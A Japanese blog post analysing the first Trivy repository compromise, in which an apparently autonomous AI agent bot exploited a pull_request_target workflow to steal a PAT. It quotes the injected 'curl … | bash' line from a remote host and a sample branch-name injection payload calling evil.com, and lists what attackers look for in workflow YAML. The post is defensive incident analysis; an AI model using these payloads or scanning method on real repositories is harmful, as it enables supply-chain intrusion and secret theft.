Trivyリポジトリ侵害(第1回)とGitHub Actionsのシークレット階層について

はじめに

Trivyは Aqua Security が開発するオープンソースの脆弱性スキャナだ。
GitHubスター32,000超、世界中のCI/CDパイプラインで使われている事実上の業界標準ツールだ

このツールが2026年2月末から3月の2回にわたって侵害され
攻撃者が悪意あるバイナリ・GitHub Actions・Docker Imageを配布することに成功した

つまり「セキュリティのためにTrivyを使っていたのに、そのTrivyが攻撃の入口になった」という皮肉な状況になってしまった

自分の視点でこれを振り返っていく
全体を詳細に振り返るのはボリュームが大きいのでここでは2/28の侵害に至るまでの攻撃前夜について解説する

Xでの反応

攻撃タイムライン(第1回)

2026-02-20  hackerbot-claw アカウント作成

2026-02-27 00:18 UTC  PR #10252 を送信し、即座にクローズ
            └─ PR送信時点でワークフローが実行され、pull_request_targetにより攻撃者フォークのコードが動く
            └─ PAT(Personal Access Token)を recv.hackmoltrepeat.com に送信・盗取

2026-02-28 03:47 UTC  盗んだPATで一斉攻撃
            ├─ Trivyの全GitHub Release を削除(v0.27.0〜v0.69.1、約178本 ※1)
            ├─ リポジトリを一時的にプライベート化(32,000+スターを抹消)
            └─ Open VSX Marketplace のTrivy VSCode拡張に悪意あるファイルをプッシュ

2026-03-01  Aqua SecurityがPR #10252の内容を公表・認定ローテーション実施

※1 削除リリース数は複数ソースで「178本」と報告されているが Aqua 公式声明では具体的な本数は未開示。
timeline
    section 第1回攻撃
        2/20 : hackerbot-claw<br>アカウント作成
        2/27 : PR #10252 送信・即クローズ
             : pull_request_target<br>発火 → PAT盗取
        2/28 : 盗んだPATで<br>178リリース削除
             : リポジトリPrivate化<br>(32K+ スター消滅)
             : VSCode拡張(Open VSX)を汚染

第1回攻撃(2026年2月28日)概要

一連の侵害はGitHub Actionsから始まる

pull_request_target

PR を起点に GitHub Actions を動かすたのイベントとしてpull_requestpull_request_targetがある。

pull_request は「PR の変更内容をそのまま検証する」用途なのに対して、pull_request_target は「base ブランチ側の安全な設定で PR を扱う」用途

変更提案を受けつつ、信頼できる base 側の設定でメタ操作や限定的な自動化ができる

on:
  pull_request_target:
    branches:
      - main
    types:
      - opened
      - synchronize
      - reopened
      - labeled

しかしbase ブランチ側で動くため、pull_request より権限が強くなりやすい

permissions で明示的に絞らなければ、GITHUB_TOKEN には書き込み権限があり、ワークフローで展開されるsecrets にもアクセスできる

aquasecurity/trivyでは、このワークフロー内で攻撃者のフォークのコードをチェックアウトして実行していた

これは「PRを送りつけるだけで、ベースリポジトリのシークレットを盗める状態」ということだ

実際にこれでリポジトリのPATが奪取されてしまった

実際のワークフロー:.github/workflows/apidiff.yaml

脆弱だったのは 2025年10月に追加された API Diff Check ワークフロー(PR #9600

Trivy の pkg/ と rpc/ 配下の Go コードが変更されたときに、CI 上で go-apidiff を自動実行してAPI の破壊的変更を検出する目的で導入された

攻撃直前の設定はこうなっていた(一部コメントを追記):

name: API Diff Check

on:
  # セキュリティ: 書き込み権限を持つフォークPRをサポートするため、pull_request_target を使用
  # PRのコードはチェックアウトされるが、静的解析のみに使用され、実行は一切しない
  pull_request_target:
    types: [opened, synchronize]
    paths:
      - 'pkg/**/*.go'
      - 'rpc/**/*.go'

permissions:
  contents: read
  pull-requests: write
  issues: write

jobs:
  apidiff:
    runs-on: ubuntu-24.04
    name: API Diff Check
    steps:

        # ...

      - name: Checkout
        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge

      - name: Set up Go
        uses: ./.github/actions/setup-go

# ...

各ステップは別プロセスとして起動・終了するため、そこでのシークレット展開は共有されない。問題はワークフロー全体にある

# ① pull_request_target → write権限でトリガー
on:
  pull_request_target:

# ② PRのコードをチェックアウト(攻撃者が書き換え可能)
- uses: actions/checkout@...
  with:
    ref: refs/pull/.../merge   # ← 攻撃者のコードが入る

# ③ チェックアウトしたコードのローカルActionを実行 ← 致命的
- uses: ./.github/actions/setup-go  # ← 攻撃者が自由に書き換えられる

.github/actions/setup-go/action.yml を攻撃者が改ざんすれば、write権限のトークンで任意のAPIを叩ける

GitHub のセキュリティドキュメントでも警告があり、今回はこの事象に当てはまったものと思われる

_pull_request_targetワークフロー トリガーと信頼できないプル リクエストの明示的なチェックアウトを組み合わせることは、リポジトリの侵害につながる可能性のある危険な行為です

実際に攻撃では.github/actions/setup-go/action.yml の差分にcurl -sSfL https://hackmoltrepeat.com/moult | bashが紛れていた。

このURLは現在有効でないため、Set up Goステップで何が起こったかは調査できない

侵害のワークフロー

その後の侵害を簡単にまとめる

sequenceDiagram
    actor ATK as 攻撃者 hackerbot-claw
    participant FORK as 攻撃者フォーク
    participant GHA as GitHub Actions Runner
    participant BASE as aquasecurity/trivy
    participant C2 as recv.hackmoltrepeat.com

    ATK->>FORK: 悪意あるコードをコミット
    ATK->>BASE: PR #10252 を送信(直後にクローズ)
    Note over BASE,GHA: pull_request_target トリガー発火
    GHA->>FORK: 攻撃者フォークのコードをチェックアウト
    Note over GHA: ベースリポジトリのシークレット権限で実行中
    GHA->>GHA: 悪意あるスクリプト実行
    GHA-->>C2: PAT(Personal Access Token)を送信・流出
    C2-->>ATK: PAT受信完了
    Note over ATK: 翌日 03:47 UTC に行動
    ATK->>BASE: 盗んだPATで178リリースを全削除
    ATK->>BASE: リポジトリをPrivate化
    ATK->>BASE: Open VSX拡張に悪意あるファイルをプッシュ

侵害者はAIエージェント

この一連の攻撃を仕掛けたGithubアカウントhackerbot-claw は、OpenClaw 製とされる自律型のものだった(現在削除済み)

GitHub Actions のミスコンフィグを悪用して CI/CD から RCE やトークン窃取を試行するclaude-opus-4-5モデルのBotだ

これの公開リポジトリの Actions ワークフローを自動スキャンにより、対象になったTrivyは脆弱なアクションフローを見事に突かれてしまった

GitHubアクションでのシークレットの展開レイヤー

Trivyの事例を理解するには、GitHub Actionsにおけるシークレットが「どの階層に存在し」「どのイベントで展開され」「ランナー上のどのプロセスから参照可能か」を把握する必要がある

ここではそのレイヤー構造を整理し、攻撃者がワークフローYAMLのどこを起点に脆弱性を探すかまで踏み込む。最後にGitLab CI/CDとの比較にも触れる

シークレットの3階層

GitHub Actionsのシークレットには3つのスコープが存在する。これ自体はGitHub公式ドキュメントに定義されている機能区分だが、ここでは「3階層モデル」として優先度とアクセス経路を整理してみる

レイヤー設定単位優先度
Organization secretsOrganization全体(全リポジトリ or 選択リポジトリに公開可能)最低
Repository secretsリポジトリ単位
Environment secretsデプロイ環境単位(production, stagingなど)最高

同名のシークレットが複数レイヤーに存在する場合、より具体的なレイヤーが優先される。Environment > Repository > Organization という順だ

Environment secretsはジョブにenvironment:を明示指定しなければアクセスできない。つまり、ワークフロー内でenvironment: productionと書かれていないジョブからは、production用のシークレットは一切見えないようになっている

加えて、すべてのワークフロー実行にはGITHUB_TOKENが自動生成される。これはリポジトリスコープのトークンで、ジョブ完了時に失効する。デフォルト権限は新規リポジトリでは read-only だが、permissions:キーで細かく制御でき、permissions:を1つでも明示すると未指定のスコープはすべてnoneになるという設計になっている

on:イベントコンテキストとシークレットの関係

では、これらのシークレットはどのイベントで展開されるのか。ここが攻撃者にとって最も重要な判断ポイントになる

イベントシークレット利用可否GITHUB_TOKEN権限備考
push利用可write(デフォルト)ブランチへのプッシュ時に発火
pull_request(同一リポジトリ)利用可write内部ブランチからのPR
pull_request(フォーク)利用不可read-onlyフォークPRではシークレットが注入されない
pull_request_target利用可writebaseブランチのコンテキストで実行されるため
workflow_run利用可writeデフォルトブランチのコンテキストで実行
workflow_dispatch利用可write手動トリガー
issue_comment利用可writeデフォルトブランチのコンテキスト
schedule利用可writeデフォルトブランチで実行

ここで際立つのがpull_requestpull_request_targetの非対称性だ

pull_requestはフォークからのPRに対してシークレットを渡さない。これは「外部の誰でもPRを送れる以上、そのコードを信頼できない」という合理的な設計である

一方pull_request_targetはbaseブランチ(つまりメインリポジトリ側)のワークフロー定義で実行されるため、シークレットが利用可能になる。Trivyのapidiff.yamlがまさにこのトリガーを使っていた

ランナー上でのシークレット展開メカニズム

ランナー上でシークレットがプロセスに渡る経路は2つある

1. ${{ secrets.X }} 式展開(サーバーサイド)

GitHub Actionsのサーバー側でYAMLがランナーに送信される前にリテラル値に置換される。run:ブロック内で直接使うと、シェルスクリプトのテキストにシークレット値がそのまま埋め込まれることになる

# 危険なパターン:シークレットがシェルスクリプトに直接展開される
- run: curl -H "Authorization: token ${{ secrets.PAT }}" https://api.github.com/...

2. 環境変数マッピング

env:でシークレットを環境変数にマッピングし、シェルから$MY_SECRETとして参照する。この場合、値はそのステップのプロセス環境にのみ設定される

# 推奨パターン
- env:
    MY_TOKEN: ${{ secrets.PAT }}
  run: curl -H "Authorization: token $MY_TOKEN" https://api.github.com/...

各ステップは別プロセスとして起動されるため、あるステップのenv:で設定した環境変数は次のステップには引き継がれない。ただし、同一ランナーマシン上で動いているため$GITHUB_WORKSPACE/tmpなどのファイルシステムは共有される。これは後述する攻撃ベクトルで重要になる

ランナーはログ出力で登録済みシークレット値を***にマスクする。しかしBase64エンコードや部分文字列など、変換後の値はマスクされない。そしてネットワーク経由の外部送信(curlなど)はログマスキングを完全にバイパスする——Trivyの攻撃者がまさにこの手法でPATをrecv.hackmoltrepeat.comに送信した

シークレット展開のレイヤー図

graph TB
    subgraph "シークレット格納レイヤー"
        ORG["Organization Secrets<br>(暗号化保存)"]
        REPO["Repository Secrets<br>(暗号化保存)"]
        ENV["Environment Secrets<br>(暗号化保存 + 承認ルール)"]
    end

    subgraph "イベントコンテキスト<br>(展開可否の判定)"
        EVT{"on: イベント種別"}
        EVT -->|"push / schedule<br>workflow_dispatch"| ALLOW["シークレット展開を許可"]
        EVT -->|"pull_request<br>(フォーク)"| DENY["シークレット展開を拒否"]
        EVT -->|"pull_request_target"| ALLOW
    end

    subgraph "ランナー上の展開先"
        WF_ENV["Workflow level env:"]
        JOB_ENV["Job level env:"]
        STEP_ENV["Step level env:<br>(プロセス環境変数)"]
        INLINE["run: 内の式展開<br>(シェルスクリプトに直接埋込)"]
        FS["共有ファイルシステム<br>$GITHUB_WORKSPACE / /tmp"]
    end

    ALLOW --> WF_ENV
    ALLOW --> JOB_ENV
    ALLOW --> STEP_ENV
    ALLOW --> INLINE
    STEP_ENV -.->|"ステップ間で<br>プロセス環境は非共有"| STEP_ENV
    STEP_ENV -->|"スクリプトが書き込み"| FS
    INLINE -->|"スクリプトが書き込み"| FS
    FS -.->|"後続ステップから<br>読み取り可能"| FS

攻撃者はワークフローYAMLのどこを見るか

サプライチェーン攻撃の文脈で、攻撃者が公開リポジトリの.github/workflows/を分析するとき、何を基点にしているのか

1. 信頼境界を越えるトリガーの探索

最初に探すのはpull_request_targetworkflow_runissue_commentといった、フォーク由来のコードにシークレットアクセスを与えうるトリガーだ。Trivyのケースではまさにこれが入口

2. スクリプトインジェクション(Script Injection)

run:ブロック内で${{ github.event.issue.title }}${{ github.event.pull_request.head.ref }}のようなユーザー制御可能な値を直接展開しているパターン。攻撃者がPRタイトルやブランチ名に"; curl http://evil.com/exfil #のようなペイロードを仕込めば、サーバーサイドでの式展開時にシェルコマンドとして解釈される

# 脆弱なパターン:ブランチ名にシェルコマンドを仕込める
- run: echo "Branch is ${{ github.head_ref }}"

3. ローカルActionの参照(uses: ./.github/actions/...

pull_request_targetでフォークのコードをチェックアウトした後にuses: ./.github/actions/setup-goのようなローカルActionを実行するパターン。チェックアウトされたコードにはフォーク側の変更が含まれているため、攻撃者はaction.ymlを自由に書き換えられる。Trivyではまさにここが致命傷だった

4. サードパーティActionのタグ指定

uses: some-action@v3のようにタグで参照している場合、タグは移動可能なので、Actionリポジトリが侵害されればタグを悪意あるコミットに付け替えられる。2025年3月のtj-actions/changed-files(CVE-2025-30066)では約23,000リポジトリが影響を受けた。対策はSHAピニング(uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd)を使用すること

後の第2回のtrivy侵害ではこのタグ指定が仇となり大規模なサプライチェーン攻撃が引き起こされた。これへの対策も同様SHAピニングになる

5. self-hostedランナーの利用

runs-on: self-hostedのラベルがあれば、永続ランナーの可能性がある。永続ランナーはジョブ間でファイルシステムやキャッシュが残るため、前のジョブで展開されたシークレットの残留を狙われる

6. OIDCトークンの奪取

permissions: id-token: writeが設定されているワークフローでコード実行を得た場合、$ACTIONS_ID_TOKEN_REQUEST_URL経由でOIDCトークンを取得し、AWS/GCP/Azureにリポジトリのアイデンティティで認証できてしまう

Trivyの事例にあてはめると

Trivyのapidiff.yamlは以下の条件がすべて揃っていた:

  1. on: pull_request_target → シークレットが展開される
  2. ref: refs/pull/.../merge → フォークのコードがチェックアウトされる
  3. uses: ./.github/actions/setup-go → チェックアウトされたローカルActionが実行される
  4. permissions: contents: read, pull-requests: write → トークンに書き込み権限がある

攻撃者はこのYAMLを読んで、PRを送るだけでbaseリポジトリのシークレットにアクセスできることを即座に判断したと思われる

侵害の入り口となったアクションのyamlのコメントには# SECURITY: Using pull_request_target to support fork PRs with write permissions.と書いてある

なぜpull_request_targetを選んだのかについてだが、pull_requestイベントではフォークPRに対してpull-requests: writeを宣言しても反映されない。go-apidiffの結果をPRコメントとして投稿する必要からpull_request_targetを使ったらしい。

そのためpull_request_targetは意味なく権限を広げたものではなかった

GitLab CI/CDとの比較

なぜGitLabの話をするかというと、GitLab CI/CDにはpull_request_targetに相当するものが存在しないためだ。この設計差がセキュリティ特性を大きく分ける

シークレットモデルの違い

GitLab CI/CDの変数(Variables)は4階層で、GitHub Actionsと似た構造だが、Protected Variablesという機能が決定的に異なる

観点GitHub ActionsGitLab CI/CD
階層Organization > Repository > EnvironmentInstance > Group > Project > Pipeline
ブランチスコープEnvironment + ブランチ保護ルールで近似Protected Variable: 保護ブランチ/タグでのみ展開
フォークMRでのシークレットpull_request: 不可 / pull_request_target: 可デフォルトで不可。明示的なオプトインが必要
式インジェクション${{ }}がスクリプトテキストに直接展開されるためリスク高変数は環境変数として注入されるためリスク低
危険なトリガーpull_request_targetworkflow_run該当なし——MRパイプラインはフォーク側のコンテキストで実行される

GitLabのProtected Variablesは、例えばproductionブランチ以外のパイプラインではproduction用の認証情報にアクセスできないという制約を変数レベルで強制する。GitHub Actionsではこれに近いことをEnvironment + 必須レビュアー + ブランチ保護ルールの組み合わせで実現するが、設定の複雑さが違う

フォークMRの扱い

GitLabでは、フォークからのMerge Requestパイプラインはデフォルトでフォーク側のCI/CDコンテキストで実行される。つまりフォーク側のランナーとフォーク側の変数を使う。親プロジェクトのシークレットは一切渡されない

「フォークパイプラインにCI/CD変数を渡す」オプションはあるが、デフォルトでオフかつ警告付きだ。さらにProtected Variablesが有効なら、保護ブランチ以外では展開されない

GitHubのpull_request_targetのように「baseリポジトリの信頼コンテキストでフォークのコードを動かす」という概念自体がGitLabには存在しないため、Trivyのような攻撃パターンは設計レベルで成立しにくいと言える

ランナーの違い

観点GitHub ActionsGitLab CI/CD
ホステッドランナージョブごとにVMを新規作成・破棄(完全エフェメラル)GitLab.comの共有ランナーも同様にエフェメラル
self-hosted / 自前ランナーデフォルトで永続。--ephemeralフラグで1ジョブ限りに設定可能複数のexecutor(shell, Docker, Kubernetes)を選択可能。Docker executorはジョブごとにコンテナを生成
パブリックリポジトリでのself-hostedGitHub公式が使うなと警告(フォークPRが任意コード実行可能なため)同様にリスクがあるが、フォークMRの変数非展開がデフォルトのため影響は限定的
Kubernetes対応Actions Runner Controller(ARC)でPodをエフェメラルに運用Kubernetes executorがネイティブサポート

永続ランナーでは、ジョブ間でファイルシステム(/tmp、Dockerレイヤーキャッシュ、~/.config配下のクレデンシャルなど)が残る。攻撃者が1つのジョブで書き込んだファイルを、後続のジョブが読み取ることでシークレット漏洩が発生し得る。エフェメラルランナーの採用は、この種のリスクを設計で排除するもっとも確実な方法だ

GitLabのDocker executorはジョブごとにコンテナを新規作成するため、shell executorと比べてデフォルトでの隔離性が高い。一方GitHub Actionsのself-hostedランナーはシェル直実行がデフォルトで、コンテナ隔離にはcontainer:ジョブを明示的に使う必要がある

式展開の設計差

個人的にもっとも重要だと感じるのは、式展開のアーキテクチャ差だ

GitHub Actionsの${{ }}式はサーバーサイドでテキスト置換される。これはシェルスクリプト内にユーザー制御可能な文字列がそのまま注入されることを意味し、式インジェクション攻撃の温床になっている

GitLab CI/CDでは変数は環境変数としてプロセスに渡される。script:ブロック内で$CI_MERGE_REQUEST_TITLEと書いても、それはシェル変数の参照であり、テキスト展開ではない。つまり攻撃者がMRタイトルにシェルメタ文字を仕込んでも、コマンドインジェクションにはならない

この設計差だけで、GitLab CI/CDのほうが式インジェクション攻撃に対する耐性が構造的に高いと言える

まとめ

ワークフローの設定レビューには、静的解析ツールのactionlintや、サプライチェーンリスクに特化したzizmor、ランタイムでの防御を提供するStepSecurity harden-runnerなどがある。特にzizmorはSHAピニングの欠如や危険なトリガーパターンを検出してくれるため、今回のようなケースの予防に直結するかもしれない

加えて、PRレビューにAIエージェントを組み込む体制も効果的かもしれない。.github/workflows/配下の変更を検知してワークフローYAMLのセキュリティレビューを自動実行させる——たとえばpull_request_targetの追加やSHAピニングの欠如、${{ }}式でのユーザー入力直接展開といったパターンを指摘させるといった運用だ。静的解析ツールがルールベースでカバーする範囲と、エージェントがコンテキストを読んで「このチェックアウトとローカルAction実行の組み合わせは危険」と判断できる範囲は異なるので、両者を併用するのが現実的だと思う

RiiiM

Author: RiiiM

Backend Developer

Share

Link is copied.